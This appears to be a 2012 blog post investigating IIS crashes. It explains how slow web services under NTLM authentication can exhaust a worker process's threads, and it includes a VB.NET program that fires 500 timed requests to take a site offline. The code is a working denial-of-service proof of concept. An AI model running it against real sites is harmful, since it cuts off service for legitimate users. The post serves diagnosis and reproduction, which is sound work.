IIS: the danger of slow webservices (on Integrated authentication).
April 21, 2012 Leave a comment
During the investigation of IIS crashes on a customers site I came across some articles detailing the Max amount of threads a worker process can hold. I also learned that a normal request to a web-service takes 2 threads, one running over NTLM authentication takes four.
So in the process of reproducing the issue I came across the following issue: If/when you have a slow web-service running (i.e: it takes the web-service a long time to respond) and the whole site running under a application pool with one single worker process it is trivial to exhaust the threads and effectively keep it too occupied to handle requests from other users.
In the .NET example below service.slowpoke is the webservice. Please note that while this code will take the site offline, it has almost no impact on the client machine running the code.
Module Module1 Private loTime(499) As Timers.Timer Private resultCount As Integer = 0 Private startCount As Integer = 0 Sub Main() Console.Clear() Exhaust() Console.ReadLine() End Sub Private Sub Exhaust() For Each i As System.Timers.Timer In loTime i = New System.Timers.Timer(500) AddHandler i.Elapsed, AddressOf TikTok startCount = startCount + 1 i.Start() PrintResult() Next End Sub Private Sub TikTok(ByVal o As Object, ByVal e As System.EventArgs) Dim x As System.Timers.Timer = CType(o, System.Timers.Timer) x.Enabled = False Dim loobj As New serice.slowpoke Dim lsStrSlow As String = loobj.SLowpoke resultCount = resultCount + 1 PrintResult() End Sub Sub PrintResult() Console.Clear() Console.WriteLine("Initialised " & startCount) Console.WriteLine("Finished " & resultCount) End Sub End Module